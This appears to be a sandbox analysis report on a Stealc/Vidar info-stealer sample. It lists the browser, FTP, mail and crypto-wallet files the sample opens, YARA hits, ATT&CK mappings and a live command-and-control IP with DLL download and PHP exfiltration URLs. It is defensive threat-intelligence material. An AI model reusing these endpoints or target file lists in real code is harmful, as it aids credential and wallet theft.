Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00E37980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

1_2_00E37980

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00E37850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

1_2_00E37850

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00E37A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

1_2_00E37A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 1.2.file.exe.e20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2412996854.00000000017EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2139807080.0000000005360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4420, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4420, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json*
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.l+D

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 4420, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 1.2.file.exe.e20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2412996854.00000000017EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2139807080.0000000005360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4420, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4420, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	GDBAKEGI.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpata	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000002.2412996854.000000000186A000.00000004.00000020.00020000.00000000.sdmp, GDBAKEGI.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpnfigOverlay	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll:	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.372	file.exe, 00000001.00000002.2412996854.00000000017EE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000001.00000002.2412996854.000000000186A000.00000004.00000020.00020000.00000000.sdmp, GDBAKEGI.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000001.00000002.2412996854.00000000017EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000001.00000002.2436308273.0000000029A56000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpCoinomi	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000001.00000002.2412996854.000000000186A000.00000004.00000020.00020000.00000000.sdmp, GDBAKEGI.1.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phption:	file.exe, 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpXZ	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpf	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000001.00000002.2441884254.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2430712673.000000001DAC0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpR	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	GDBAKEGI.1.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000001.00000002.2436308273.0000000029A56000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.1.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AFCFHDHIIIECBGCAKFIJ.1.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll~	file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	true		unknown
